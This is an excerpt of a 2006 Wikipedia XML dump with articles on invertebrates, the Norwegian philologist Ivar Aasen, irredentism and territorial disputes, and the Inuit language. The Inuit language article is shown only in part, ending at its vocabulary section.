      <text xml:space="preserve">'''Invertebrate''' is a term coined by [[Jean-Baptiste Lamarck]] to describe any [[animal]] without a [[spinal column]]. It therefore includes all animals except [[vertebrate]]s ([[fish]], [[reptile]]s, [[amphibian]]s, [[bird]]s and [[mammal]]s).

Lamarck divided these animals into two groups, the [[Insect]]a and the [[Vermes]], but nowadays, they are classified into over 30 [[phylum (biology)|phyla]], from simple organisms such as [[sponge]]s and [[flatworm]]s to complex animals such as [[arthropod]]s and [[mollusk]]s.

Since invertebrates include all animals except a certain group, invertebrates form a [[paraphyletic]] group, but, despite not forming a &quot;natural group&quot; (that is, [[monophyletic]]), &quot;invertebrate&quot; is still a widely used term. It is not uncommon for books entitled &quot;Invertebrate Zoology&quot; to be found. This reflects the bias in society and also in [[zoology]] towards larger, more complex animals that are more closely related to [[human]]s. Thus, there are relatively many scientists studying (and relatively much funding available for the study of) birds, mammals, reptiles, and so on, but far fewer scientists studying invertebrates, even though invertebrates include 97% of all animal [[species]].

For a full list of animals considered to be invertebrates, see [[animal]]. All the listed phyla are invertebrates along with two of the three [[subphylum|subphyla]] in Phylum [[chordate|Chordata]]: [[Urochordata]] and [[Cephalochordata]]. These two, plus all the other known invertebrates, have only one cluster of [[Hox genes]], while the vertebrates have duplicated their original cluster more than once.

==External links==
* [http://reference.allrefer.com/encyclopedia/categories/invertz.html Invertebrate Zoology]
*[http://digitalcommons.unl.edu/onlinedictinvertzoology/ ''Online Dictionary of Invertebrate Zoology'']
*[http://www.goliathus.cz/en/museum-homepage-0.html Online museum] of many invertebrates, provided by [http://www.goliathus.cz/ goliathus.cz].

[[Category:Animals]]

[[bg:Безгръбначни]]
[[ca:Invertebrat]]
[[da:Invertebrat]]
[[de:Wirbellose]]
[[et:Selgrootud]]
[[es:Invertebrado]]
[[fr:Invertébré]]
[[id:Invertebrata]]
[[he:חסרי חוליות]]
[[lt:Bestuburiai]]
[[ms:Invertebrat]]
[[nl:Ongewerveld]]
[[ja:無脊椎動物]]
[[pl:Bezkręgowce]]
[[pt:Invertebrado]]
[[simple:Invertebrate]]
[[zh:无脊椎动物]]</text>
    </revision>
  </page>
  <page>
    <title>Ivar Aasen</title>
    <id>15225</id>
    <revision>
      <id>36344677</id>
      <timestamp>2006-01-23T11:08:17Z</timestamp>
      <contributor>
        <username>EmirA</username>
        <id>740055</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Ivar Andreas Aasen''' ([[August 5]], [[1813]] &amp;ndash; [[September 23]], [[1896]]) was a [[Norway|Norwegian]] [[philologist]] and [[lexicographer]].

[[Image:Ivaraasen.jpg|thumb|Ivar Aasen]]

Aasen was born at Åsen in [[Ørsta]] (then Ørsten), in the district of [[Sunnmøre]], on the west coast of [[Norway]]. His father, a small peasant-farmer named Ivar Jonsson, died in 1826. He was brought up to farmwork, but he assiduously cultivated all his leisure in reading, and when he was eighteen he opened an elementary school in his native parish. In 1833 he entered the household of [[H. C. Thoresen]], the husband of the eminent writer [[Magdalene Thoresen]], in [[Herøy, Møre og Romsdal|Herøy]] (then Herø), and there he picked up the elements of [[Latin language|Latin]]. Gradually, and by dint of infinite patience and concentration, the young peasant became master of many languages, and began the scientific study of their structure.

About 1841 he had freed himself from all the burden of manual labour, and could occupy his thoughts with the dialect of his native district, Sunnmøre; his first publication was a small collection of [[folk song]]s in the Sunnmøre dialect (1843). His remarkable abilities now attracted general attention, and he was helped to continue his studies undisturbed. His ''Grammar of the Norwegian Dialects'' (1848) was the result of much labour, and of journeys taken to every part of the country.  Aasen's famous ''Dictionary of the Norwegian Dialects'' appeared in its original form in 1850, and from this publication dates all the wide cultivation of the popular language in Norwegian, since Aasen really did no less than construct, out of the different materials at his disposal, a popular language or definite ''folke-maal'' (people's language) for Norway. With certain modifications, the most important of which were introduced later by Aasen himself, but also through a latter policy aiming to merge this Norwegian language with Dano-Norwegian, this language has become ''[[Nynorsk]]'' (&quot;New Norwegian&quot;), the second of Norway's two official languages (the other being ''Bokmål'', the Dano-Norwegian descendant of the [[Danish language]] used in Norway at Aasen's time). An unofficial variety of Norwegian more close to Aasen's language is still found in [[Høgnorsk]] (&quot;High Norwegian&quot;). 

Aasen composed poems and plays in the composite dialect to show how it should be used; one of these dramas, ''The Heir'' ([[1855]]), was frequently acted, and may be considered as the pioneer of all the abundant dialect-literature of the last half-century of the [[1800s]], from [[Aasmund Olavsson Vinje|Vinje]] to [[Arne Garborg|Garborg]].

Aasen continued to enlarge and improve his grammars and his dictionary. He lived very quietly in lodgings in [[Oslo]] (then Christiania), surrounded by his books and shrinking from publicity, but his name grew into wide political favour as his ideas about the language of the peasants became more and more the watch-word of the popular party.

Quite early in his career, in 1842, he had begun to receive a stipend to enable him to give his entire attention to his philological investigations; and the [[Storting]] (Norwegian [[parliament]]), conscious of the national importance of his work, treated him in this respect with more and more generosity as he advanced in years. He continued his investigations to the last, but it may be said that, after the 1873 edition of his ''Dictionary'', he added but little to his stores. Aasen holds perhaps an isolated place in literary history as the one man who has invented, or at least selected and constructed, a language which has pleased so many thousands of his countrymen that they have accepted it for their schools, their sermons and their songs. He died in Christiania on [[September 23]], [[1896]], and was buried with public honours.

[[Ivar Aasen-tunet]], an institution devoted to the Nynorsk language, opened in June 2000. Their web page includes all of Aasens' texts, numerous other examples of Nynorsk literature (in Nettbiblioteket), and some articles, also in English, about language history in Norway.
[http://www.aasentunet.no]

{{Wikisource1911Enc|Aasen, Ivar}}
{{1911}}

[[Category:1813 births|Aasen, Ivar]]
[[Category:1896 deaths|Aasen, Ivar]]
[[Category:Norwegian philologists|Aasen, Ivar]]
[[Category:Lexicographers|Aasen, Ivar]]
[[Category:Norwegian writers|Aasen, Ivar]]
[[Category:Norwegian language|Aasen, Ivar]]

[[bs:Ivar Aasen]]
[[ca:Ivar Aasen]]
[[de:Ivar Aasen]]
[[es:Ivar Aasen]]
[[et:Ivar Aasen]]
[[eo:Ivar AASEN]]
[[fr:Ivar Aasen]]
[[gl:Ivar Andreas Aasen]]
[[it:Ivar Aasen]]
[[nl:Ivar Aasen]]
[[no:Ivar Aasen]]
[[nn:Ivar Aasen]]
[[pl:Ivar Aasen]]
[[pt:Ivar Aasen]]
[[ru:Осен, Ивар Андреас]]
[[sv:Ivar Aasen]]</text>
    </revision>
  </page>
  <page>
    <title>Irredentism</title>
    <id>15226</id>
    <revision>
      <id>42071916</id>
      <timestamp>2006-03-03T17:00:55Z</timestamp>
      <contributor>
        <username>Skookum1</username>
        <id>534835</id>
      </contributor>
      <comment>/* Irredentist disputes */ Tibetan info PARTLY restored (PRC propagandists can just give up now, OK?)</comment>
      <text xml:space="preserve">'''Irredentism''' is an [[international relations]] term that involves advocating [[annexation]] of territories administered by another state on the grounds of common [[ethnicity]] and/or prior historical possession, actual or alleged.  It is a feature of [[identity politics]] and [[cultural geography|cultural]] and [[political geography]]. Since most [[border]]s have been moved and redrawn at one point, a great many countries could theoretically present irredentist claims to their neighbours. 

However, some countries are the subject of potential irredentism from birth. Many of Africa's borders were artificially imposed by European colonial powers. The result split ethnic groups between different countries, such as the [[Igbo]] who are divided between [[Nigeria]], [[Cameroon]] and [[Equatorial Guinea]]. 

An area that may be subjected to a potential claim is therefore sometimes called an '''''irredenta'''''. Not all potential irredentas are involved in actual irredentism.


==Origins==
{{main|Italia irredenta}}
The word was coined in [[Italy]] from the phrase ''[[Italia irredenta]]'' (&quot;unredeemed Italy&quot;). This originally referred to [[Austria-Hungary|Austro-Hungarian]] rule over mostly or partly Italian-inhabited territories in the northern [[Adriatic]] such as [[Trentino]] and [[Trieste]] during the [[19th century|19th]] and early [[20th century]]. Today, [[Pakistan]] refers to the part of [[Kashmir]] controlled by its own forces as &quot;redeemed&quot; or &quot;liberated&quot;, using the name [[Azad Kashmir]], meaning &quot;Free Kashmir&quot;.

A common way to express a claim to adjacent territories on the grounds of historical or ethnic association is by using the epithet &quot;Greater&quot; before the country name, as in [[Greater Israel]], [[Greater Serbia]], [[Greater Albania]] or [[Greater Morocco]]. This conveys the image of national territory at its maximum conceivable extent with the country &quot;proper&quot; at its core, e.g. [[Serbia proper]].

==Irredentist disputes==

Not all [[territorial dispute]]s are irredentist, although they are often couched in irredentist [[propaganda|rhetoric]] to justify and [[legitimacy (political science)|legitimize]] such claims both internationally and within the country. 

Prominent irredentist disputes during the past century have included:
* [[Gabriele D'Annunzio]]'s occupation of [[Fiume]] (now [[Rijeka]]) from [[1919]]&amp;ndash;[[1921]] &amp;mdash; the original irredentist dispute (when the term was first popularized).
* Mutual counterclaims between the [[People's Republic of China]] and the [[Republic of China]] to territories currently controlled by the other:
** The [[People's Republic of China]] claims to the islands of [[Taiwan]], [[Penghu]], [[Matsu Islands|Matsu]], [[Kinmen]], and [[Orchid Island]], collectively ruled by the government of the Republic of China (Taiwan). [[Arunachal Pradesh]] under Indian administration are also claimed by PRC as part of Tibet, although China's similar claims to Nepal and Bhutan have been dropped.  China's ongoing occupation of Tibet is also seen as irredentist as also its rearrangement of Tibetan provincial boundaries.
** The [[Republic of China]]'s claims to [[Tannu Uriankhai]], now a republic of [[Russia]]; [[Outer Mongolia]] (i.e. the independent country of [[Mongolia]]); [[mainland China]], ruled by the [[People's Republic of China]], and most of the PRC's territorial claims.
* Claims among [[Aztlán|Mexican]]s to the Southwestern [[United States]], purchased by the [[United States]] from [[Mexico]] in the [[Treaty of Guadalupe Hidalgo]] after the [[Mexican-American War]] for a sum of 15 million dollars, an amount equivalent today to 120 billion dollars.
* The [[PIRA]]'s claim that British rule in [[Northern Ireland]] hinders the prospect of a [[United Ireland]].
* [[France|French]] claims before [[World War I]] to [[Alsace-Lorraine]].
* [[Weimar Germany]]'s claims after World War I to Alsace-Lorraine, areas of [[Poland]], [[Lithuania]], [[Austria]] and the Czech [[Sudetenland]]. 
* [[Jew]]ish claims after [[World War I]] to territories within the [[British Mandate of Palestine]].
* [[Israeli]] claims to the [[Gaza Strip]], [[Golan Heights]] and the [[West Bank]], which includes [[East Jerusalem]].
* [[Palestinian]] claims after division of the land under the British Mandate of Palestine to [[Israel]] and [[East Jerusalem]].
* [[Syrian]] claims on the [[Golan Heights]].
* [[Argentina]]'s claims to the [[Falkland Islands]].
* [[Bolivia]]n claims to coastal regions of [[Chile]] annexed after the [[War of the Pacific]].
*[[Guatemala]]n claims to [[Belize]] and parts of [[Mexico]]
* [[Pakistan]]i claims to the [[Kashmir]] valley territory, which is divided between Pakistan and [[India]].
* [[Greater Hungary (political concept)|Hungarian]] claims to parts of the neighbouring countries inhabited by the ethnic Hungarians (including parts of [[Slovakia]], [[Romania]], [[Serbia and Montenegro]], [[Ukraine]], etc.). The claim is based on historic criteria for some regions (such as [[Transylvania]], where Hungarians are a minority), and ethnic for other regions.
* [[Romanian]] irredentists before [[World War 1]] claimed the unification of areas where [[Romanians]] formed a majority into the national Romanian state. The goal was achieved in [[1918]], but [[Bessarabia]] was lost again in [[1940]], being transformed into the [[Moldavian SSR|Soviet Republic of Moldova]]. More recently, the goal of Romanian irredentism is the unification of Romania with the [[Republic of Moldova]].
* [[Greater Serbia|Serbian]] claims to large areas of [[Bosnia and Herzegovina|Bosnia]] and [[Croatia]] (on grounds of ethnic affiliation).
* [[Bosniak nationalism|Bosniak]] claims to [[Sandzak]].
* [[Albania]]n claims to [[Kosovo]] and to parts of [[Republic of Macedonia|Macedonia]] and [[Greece]] (on grounds of ethnic affiliation).
* The Soviet Union annexed parts of [[Finnish Karelia]] after World War II. This [[Karelian question in Finnish politics|question of the status of ceded Karelia]] was revived in Finland after the end of [[Cold War]].
* [[Iraq]]i claims to [[Kuwait]] before the [[Gulf War]]
* [[Morocco]]'s claims, initiated in [[1963]] by [[King Hassan II]], to a claimed &quot;[[Greater Morocco]]&quot; (an area comprising parts of [[Algeria]], [[Western Sahara]], [[Mauritania]], the Spanish cities of [[Ceuta]] and [[Melilla]]. This led to a border war with Algeria and the annexation of Western Sahara in 1976.
* [[Greece]]'s claims on areas of the Ottoman Empire after independence, leading to annexation of [[Thessaly]], a failed war against Turkey in 1897 and the [[Balkan Wars]]. After World War I Greece claimed what is now the Aegean coastline of [[Turkey]], because of the predominence there of Greek speakers since antiquity and former rule by the [[Byzantine Empire]]. Other Greek irredentist claims under the &quot;Greater Greece&quot; policy called ''[[Megali Idea]]'' included south [[Albania]] (North Epirus) and [[Cyprus]].
* [[Japan]]'s [[Kuril Islands Dispute]] with the former [[Soviet Union]] (now [[Russia]]), most recently over the loss of the southern four islands in the [[Kuril Islands]] chain in the closing days of [[World War II]] under the [[Treaty of San Francisco]].  The [[Ainu people|Ainu]], a people indigenous to Japan, had been the sole inhabitants of the islands for thousands of years until ethnic [[Russians]], [[Ukrainians]] and [[Byelorussians]] began to settle there and displace them.

==&quot;Triadic nexus&quot; of irredenta conflict==
In his 1996 book, ''Nationalism Reframed'', [[Rogers Brubaker]] outlined a pattern to describe a common theme of irredentist conflict, referred to as the &quot;triadic nexus&quot;. In this view, irredenta conflict is a conflict between three parties: a nationalizing state, a national movement representing an ethnic minority within that state, and an external national homeland, to which that minority is construed as ethnically belonging. Brubaker's triadic nexus is a visual representation of this, granting each party a corner of the triangle. The implication is that the national minority is caught between the nationalizing state within whose borders it exists, and the external homeland to which it is seen as belonging.

==Constitutional irredentism==

Some states formalize their irredentist claims by including them in their constitutional documents. 

'''[[Argentina]]''' Part III, Section 1 of the Constitution of the Argentine Nation states that ''&quot;The Argentine Nation ratifies its legitimate and non-prescribing sovereignty over the [[Malvinas]], [[South Georgia]] and [[South Sandwich Islands]] and over the corresponding maritime and insular zones, as they are an integral part of the national territory. The recovery of said territories and the full exercise of sovereignty, respectful of the way of life of their inhabitants and according to the principles of international law, are a permanent and unrelinquished goal of the Argentine people.&quot;'' Section 35 mentions that the Argentine Nation is the modern name of the United Provinces of the River Plata, which included [[Uruguay]] as the Province of [[Montevideo]] until 1830.

'''[[China]]''' The preamble to the constitution of the [[People's Republic of China]] states ''&quot;[[Taiwan]] is part of the sacred territory of the People's Republic of China. It is the lofty duty of the entire Chinese people, including our compatriots in Taiwan, to accomplish the great task of reunifying the motherland.&quot;''

'''[[Republic of Ireland]]''' From [[1937]] until [[1999]] [[Articles 2 and 3 of the Constitution of Ireland]] claimed [[Northern Ireland]] as part of the state's &quot;national territory&quot;.

'''[[Somalia]]''' Prior to its break-up as a functioning state, the Somali constitution contained paragraphs explicitly claiming adjacent territories.

In addition, [[Bolivia]], [[Ecuador]], [[Guatemala]], [[Suriname]] and [[Venezuela]] have all at one point in their recent history inscribed territorial claims extending into other states in formal documents, such as constitution.

==See also==
*[[Fait accompli]]
*[[Ethnic nationalism]]
*[[Ethnic cleansing]]
*[[Expansionism]]
*[[Identity politics]]
*[[Lebensraum]]
*[[Revanchism]]
*[[Status quo ante bellum]]
*[[Territorial dispute]]

[[Category:Irredentism| ]]
[[Category:International relations]]

[[de:Irredentismus]]
[[fr:Irrédentisme]]
[[it:Irredentismo]]
[[nl:Irredentisme]]
[[sl:Iredentizem]]</text>
    </revision>
  </page>
  <page>
    <title>Inuit language</title>
    <id>15227</id>
    <revision>
      <id>41152085</id>
      <timestamp>2006-02-25T10:45:32Z</timestamp>
      <contributor>
        <ip>62.55.107.63</ip>
      </contributor>
      <comment>/* Morphology and syntax */</comment>
      <text xml:space="preserve">The language of the [[Inuit]] people is traditionally spoken across the [[North America]]n [[Arctic]] and to some extent in the [[subarctic]] in [[Labrador]].  It was also to some degree spoken in far eastern [[Russia]], particularly the [[Diomede Islands]], but is almost certainly extinct in Russia today.  The Inuit live primarily in three countries: [[Greenland]] (an autonomous province of [[Denmark]]), [[Canada]], and the [[United States of America|American]] state of [[Alaska]]. 

The total population of Inuit speaking their traditional language is difficult to assess with precision, since most counts rely on self-reported census data that may not accurately reflect usage or competence.  [[Greenland]] census estimates place the number of speakers of Inuit dialects there at roughly 50,000, while Canadian estimates are at roughly 30,000. These two countries count the bulk of speakers of Inuit language variants, as usage in Alaska is increasingly moribund - roughly 3,000 Alaskans speak Inuit dialects out of a population of over 13,000 Inuit - and the language is almost certainly extinct in Russia.  In addition, an estimated 7,000 Greenlandic Inuit live in European Denmark, but this is the largest group outside of Canada and Greenland.  So, the global population of speakers of Inuit language variants is on the order of 90,000 people.

==What is the Inuit language called?==
&lt;!-- This section shouldn't have to be here, but I am tired of seeing people rename this article because they think they know what a language they don't know ought to be called.  So, it stays.  Don't rename this article &quot;Inuktitut&quot;, or &quot;Inuit languages&quot;, or anyhting with the word &quot;eskimo&quot; in it.  In fact, don't rename it at all, okay?  Everytime someone does so, it makes a lot of work for me, since so far I seem to be the only person with a clue of how this language works that contributes here.  --&gt; 
The traditional language of the Inuit is a system of closely interrelated dialects that are not readily comprehensible from one end of the Inuit world to the other, and some people do not think of it as a single language but rather as a group of languages.  However, there are no clear criteria for breaking the Inuit language into specific member tongues, since it forms a continuum of close dialects.  Each band of Inuit understands its neighbours, and most likely their neighbours' neighbours; but at some remove, comprehensibility drops to a very low level.  

As a result, Inuit in different places use different words for their own variants and for the entire group of languages, and this ambiguity has been carried into other languages, creating a great deal of confusion over what labels should be applied to it.

In Greenland, the official form of Inuit language, and one of the official languages of the state, is called ''[[Kalaallisut]]''.  In other languages, it is often called ''Greenlandic'' or some cognate term.  However, neither the words ''Kallaalisut'' nor ''Greenlandic'' are generally used to refer to the variants of Canada or Alaska.  In Alaska, the language is called ''[[Inupiatun]]'', but the variants of the [[Seward Peninsula]] are distinguished from the other Alaskan variants by calling them ''[[Qawiaraq]]'', or for some dialects, ''[[Bering Straits]] Inupiatun''.

In Canada, the word ''[[Inuktitut]]'' is routinely used to refer to all Canadian variants of the Inuit traditional language, and it is under that name that it is recognised as one of the official languages of [[Nunavut]] and the [[Northwest Territories]].  However, one of the variants of western Nunavut is called ''[[Inuinnaqtun]]'' to distinguish itself from the dialects of eastern Canada, while the variants of the Northwest Territories are sometimes called ''[[Inuvialuktun]]'' and have in the past sometimes been called ''Inuktun''.  In those dialects, the name is sometimes rendered as ''Inuktitun'' to reflect dialectical differences in pronunciation.  The Inuit language of [[Quebec]] is called ''Inuttitut'' by its speakers, and often by other people, but this is a minor variation in pronunciation. In [[Labrador]], the language is called ''Inuttut'' or, often in official documents, by the more descriptive name ''[[Labradorimiutut]]''.  Furthermore, Canadians - both Inuit and non-Inuit - sometimes use the word ''Inuktitut'' to refer to ''all'' of the Inuit language variants, including those of Alaska and Greenland.

The phrase ''&quot;Inuit language&quot;'' is largely limited to professional discourse, since in each area, there is one or more conventional terms that cover all the local variants; or it is used as a descriptive term in publications where readers can't necessarily be expected to know the locally used words. But, this means that while you can call the [[French language]] ''French'', you cannot call the Inuit language ''Inuit''.  Saying ''&quot;Peter speaks Inuit&quot;'' is a very strange usage that most people who are familiar with the Inuit language would recognise as suspect, comparable to asserting that [[Hispanic]]s must speak ''&quot;Hispanic&quot;''. The word ''Inuit'' is generally reserved for the ethnic group, both from its Inuit language meaning - it refers specifically to a group of people - and in the way the word has been adopted in [[English language|English]].

Although many people refer to the Inuit language as ''Eskimo language'', this is an ambiguous term that can also include [[Yupik language|Yupik]] (see [[Eskimo-Aleut languages]]), and is in addition strongly discouraged in Canada and diminishing in usage elsewhere. See the article on ''[[Eskimo]]'' for more information on this word.

==Classification and history==
The language of the Inuit is an [[Eskimo-Aleut languages|Eskimo-Aleut language]]. It is fairly closely related to the [[Yupik language]]s, and more remotely to the [[Aleut language]]s. These cousin languages are all spoken in Western [[Alaska]] and Eastern [[Chukotka]], [[Russia]]. It is not discernibly related to other [[Native American languages|North American]] or [[Asian languages|northwest Asian]] indigenous languages, although some have proposed that it is related to [[Indo-European languages]] as part of the hypothetical [[Nostratic]] superphylum, and there are those who consider it a [[Paleo-Siberian languages|Paleo-Siberian language]], although that is more a geographic than a linguistic grouping. 

Early forms of the Inuit language were spoken by the [[Thule (people)|Thule people]], who overran the [[Dorset (culture)|Dorset civilisation]], which had previously occupied Arctic America, at the beginning of the [[second millennium]]. By [[1300]], the Inuit and their language had reached western Greenland, and finally east Greenland roughly at the same time the [[Viking]] colony in southern Greenland disappeared. It is generally believed that it was during this centuries-long eastwards migration that the Inuit language became distinct from the [[Yupik language]]s spoken in Western Alaska and Chukotka. 

Until [[1902]], an enclave of [[Dorset (culture)|Dorset people]] or ''Sadlermiut'' (in modern [[Inuktitut]] spelling ''Sallirmiut'') existed on [[Southampton Island]]. Almost nothing is known about their language, but the few eyewitness accounts tell of them speaking a &quot;strange dialect&quot;. This suggests that they also spoke an [[Eskimo-Aleut]] language, but one quite distinct from the forms spoken in Canada today.

The Yupik and Inuit languages are very similar syntactically and morphologically. Their common origin can be seen in a number of cognates:
&lt;center&gt;
{| class=&quot;wikitable&quot; border=&quot;1&quot; width=&quot;70%&quot;
! English !! Central Yupik !! Iñupiatun !! North Baffin Inuktitut
|-
| person || yuk || iñuk [iɲuk] || inuk
|-
| frost || kaneq || kaniq || kaniq
|-
| river || kuik || kuuk || kuuk
|-
| outside || ellami || siḷami [siʎami] || silami
|}
&lt;/center&gt;

The western Alaskan variants retain a large number of features present in proto-Inuit language and in Yup'ik, enough so that they might be classed as Yup'ik languages if they were viewed in isolation from the larger Inuit world.

==Geographic distribution and variants==
[[Image:Inuktitut dialect map.png|thumb|right|Distribution of Inuit language variants across the Arctic.]]The Inuit language is a fairly closely linked set of dialects which can be broken up using a number of different criteria.  Traditionally, Inuit describe dialect differences by means of place names to describe local idiosyncracies in language: The dialect of [[Iglulik]] versus the dialect of [[Iqaluit]], for example.  However, political and sociological divisions are increasingly the principal criteria for describing different variants of the Inuit language because of their links to different writing systems, literary traditions, schools, media sources and borrowed vocabulary.  This makes any partition of the Inuit language somewhat problematic.  This article will use labels that try to synthesise linguistic, sociolinguistic and political considerations in splitting up the Inuit dialect spectrum.  This scheme is not the only one used or necessarily one used by Inuit themselves, but its labels do try to reflect the usages most seen in popular and technical literature.

In addition to the territories listed below, some 7,000 Greenlandic speakers are reported to live in mainland [[Denmark]] [http://www.ethnologue.com/show_language.asp?code=kal], and according to the 2001 census roughly 200 self-reported Inuktitut native speakers regularly live in parts of [[Canada]] which are outside of traditional Inuit lands.

===Alaska===
''See ''[[Inupiatun]]'' and ''[[Qawiaraq]]'' for more information.''

Of the roughly 13,000 Alaskan [[Inupiat]], as few as 3,000 may still be able to speak Inuit language variants, with most of them over the age of 40. [http://www.uaf.edu/anlc/langs/i.html]  Alaskan Inuit speak at least two fairly distinct dialects: 

*'''[[Qawiaraq]]''' is spoken on the southern side of the [[Seward Peninsula]] and the [[Norton Sound]] area. It was also in the past spoken in [[Chukotka]], particularly [[Diomede Islands|Big Diomede island]], but appears to have vanished in [[Russia]]n areas through assimilation into [[Yupik]], [[Chukchi]] and [[Russian language|Russian]] speaking communities.  It is radically different in phonology from other Inuit language variants.  Some people consider the '''[[Bering Strait]]''' dialect to be separate from Qawariaq. 
*'''[[Inupiatun]]''' is spoken in [[North Slope]] and the [[Kotzebue Sound]] area.  The variants of the [[Kotzebue Sound]] area and the northwest of Alaska are sometimes called '''Malimiutun''' or '''Malimiut Inupiatun'''.  However, despite significant differences in phonology, Malimiutun is readily comprehensible to other Alaskan [[Inupiat]]. [http://www.uaf.edu/anlc/langs/i.html]

===Canada===
''See ''[[Inuktitut]]'' for more information.''

The Inuit language is an official language in the [[Northwest Territories]], the official and dominant language of [[Nunavut]], enjoys a high level of official support in [[Nunavik]], a semi-autonomus portion of [[Quebec]], and is still spoken in some parts of [[Labrador]].  Generally, Canadians refer to all dialects spoken in Canada as ''[[Inuktitut]]'', but the terms ''[[Inuvialuktun]]'', ''[[Inuinnaqtun]]'' and ''[[Labradorimiutut]]'' have some currency in referring to the variants of specific areas.

===Greenland===
''See ''[[Kalaallisut]]'' for more information.''

[[Greenland]] counts approximately 50,000 speakers of Inuit language variants, of whom over 90% speak west Greenlandic dialects at home.
*'''[[Kalaallisut]]''', or in English '''Greenlandic''', is the name given to the standard dialect and official language of Greenland. This standard national language is now taught to all Greenlanders in school, regardless of their native dialect. It reflects almost exclusively the language of western Greenland and has borrowed a great deal of vocabulary from [[Danish language|Danish]], while Canadian and Alaskan Inuit language variants have tended to take vocabulary from [[English language|English]] or sometimes [[French language|French]] and [[Russian language|Russian]].  It is written using the Roman alphabet.  The dialect of the [[Upernavik]] area in northwest Greenland is somewhat different in phonology from the standard dialect. 
*'''Tunumiit oraasiat''', (or '''Tunumiisut''' in Kalaallisut, often '''[[East Greenlandic]]''' in other languages), is the dialect of eastern Greenland.  It differs sharply from other Inuit language variants and has roughly 3,000 speakers according to [http://www.ethnologue.com/show_language.asp?code=kal Ethnologue].
*'''Avanersuaq''' is the dialect of the area around [[Qaanaaq]] in  northern Greenland.  It is sometimes called the '''Thule''' dialect or '''North Greenlandic'''.  This area is the northernmost settlement area of the Inuit and has a relatively small number of speakers.  It is reputed to be fairly close to the North Baffin dialect, since a group of migratory Inuit from [[Baffin Island]] settled in the area during the [[19th century|19th]] and early [[20th century|20th centuries]].  It counts under 1,000 speakers according to [http://www.ethnologue.com/show_language.asp?code=kal Ethnologue].

==Phonology and Phonetics==
''See main article ''[[Inuit language phonology and phonetics]]''.''

Eastern Canadian Inuit language variants have fifteen [[consonant]]s and three [[vowel]]s (which can be long or short). 

Consonants are arranged with five [[place of articulation|places of articulation]]: [[bilabial]], [[Alveolar consonant|alveolar]], [[palatal]], [[velar]] and [[uvular]]; and three [[manner of articulation|manners of articulation]]: voiceless [[Stop consonant|stop]]s, voiced [[continuant]]s and [[nasals]], as well as two additional sounds — voiceless [[Fricative consonant|fricative]]s.  The Alaskan dialects have an additional manner of articulation, the ''[[retroflex]]'', which was present in proto-Inuit language.  Retroflexes have disappeared in all the Canadian and Greenlandic dialects, except for the phoneme /{{IPA|[[Voiced palatal plosive|ɟ]]}}/ in Natsilingmiutut, which derives from a former retroflex.

Almost all Inuit language variants have only three basic vowels and make a phonological distinction between short and long forms of all vowels.  The only exceptions are at the extreme edges of the Inuit world - parts of Greenland, and in western Alaska.

==Morphology and syntax==
''See ''[[Inuit language morphology and syntax]]'' for a more detailed description specific to Nunavut Inuktitut.''

The Inuit language, like other [[Eskimo-Aleut]] languages, has a very rich morphological system, in which a succession of different [[morpheme]]s are added to root words (like verb endings in foreign European languages) to indicate things that, in languages like English, would require serveral words to express.  (See also: [[Agglutinative language]] and [[Polysynthetic language]])  All Inuit language words begin with a root morpheme to which other morphemes are suffixed.  The language has hundreds of distinct suffixes, in some dialects as many as 700.  Fortunately for the learners, the language has a highly regular morphology.  Although the rules are sometimes very complicated, they do not have exceptions in the sense that English and other [[Indo-European languages]] do.

This system makes words very long, and potentially unique.  For example in central [[Nunavut]] [[Inuktitut]]:

:'''tusaatsiarunnanngittualuujunga'''
:''I can't hear very well.''

This long word is composed of a root word '''tusaa-''' - ''to hear'' - followed by five suffixes:

:&lt;table&gt;&lt;tr&gt;&lt;th&gt;-tsiaq-&lt;/th&gt;&lt;td&gt;well&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;-junnaq-&lt;/th&gt;&lt;td&gt;be able to&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;-nngit-&lt;/th&gt;&lt;td&gt;not&lt;td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;-tualuu-&lt;/th&gt;&lt;td&gt;very much&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;-junga&lt;/th&gt;&lt;td&gt;1st pers. singular present indicative non-specific&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

This sort of word construction is pervasive in Inuit language and makes it very unlike English,  In one large Canadian corpus - the ''[[Nunavut]] [[Hansard]]'' - 92% of all words appear only once, in contrast to a small percentage in most English corpora of similar size.  This makes the application of [[Zipf's law]] quite difficult in the Inuit language.  Furthermore, the notion of a [[part of speech]] can be somewhat complicated in the Inuit language.  Fully inflected verbs can be interpreted as nouns.  The word '''ilisaijuq''' can be interpreted as a fully inflected verb - &quot;he studies&quot; - but can also be interpreted as a noun: &quot;student&quot;.  That said, the meaning is probably obvious to a fluent speaker, when put in context.

The morphology and syntax of the Inuit language vary to some degree between dialects, and the article ''[[Inuit language morphology and syntax]]'' describes primarily central [[Nunavut]] dialects, but the basic principles will generally apply to all of them and to some degree to [[Yupik]] as well.

==Vocabulary==
===Toponymy and Names===
Exotic as traditional Inuit names sound, both the names of places and people tend to be highly prosaic when translated.  ''[[Iqaluit]]'', for example, is simply the plural of the noun ''iqaluk'' - &quot;fish&quot;.  ''[[Iglulik]]'' simply means ''place with houses'', a word that could be interpreted as simply ''town''; ''[[Inuvik]]'' is ''place of people''; ''[[Baffin Island]]'' - ''Qikiqtaaluk'' in Inuit language - approximately translates to &quot;big island&quot;.

Although practically all Inuit have legal names based on southern naming traditions, at home and among themselves they still use native naming traditions.  There too, names tend to consist of highly prosaic words.  The Inuit traditionally believed that by adopting the name of a dead person or a class of things, they could take some of their characteristics or powers, and enjoy a part of their identity.  (This is why they were always very willing to accept European names - they believed that this made them equal to the Europeans.) 

Common native names in Canada include &quot;Ujaraq&quot; (rock), &quot;Nuvuk&quot; (headland), &quot;Nasak&quot; (hat, or hood), &quot;Tupiq&quot; (tent), and &quot;Qajaq&quot; ([[kayak]]).  Inuit also use animal names, traditionally believing that by using those names, they took on some of the characteristics of that animal: &quot;Nanuq&quot; (polar-bear), &quot;Uqalik&quot; (Arctic hare), and &quot;Tiriaq&quot; (ermine) are favourites.  In other cases, Inuit are named after dead people or people in traditional tales, by naming them after anatomical traits those people are believed to have had.  Examples include &quot;Itigaituk&quot; (has no feet), &quot;Usuiituk&quot; (has no penis), and &quot;Tulimak&quot; (rib).  Inuit may have any number of names, given by parents and other community members.

===Words for snow===
''See a more thorough discussion at ''[[Eskimo words for snow]]''.''

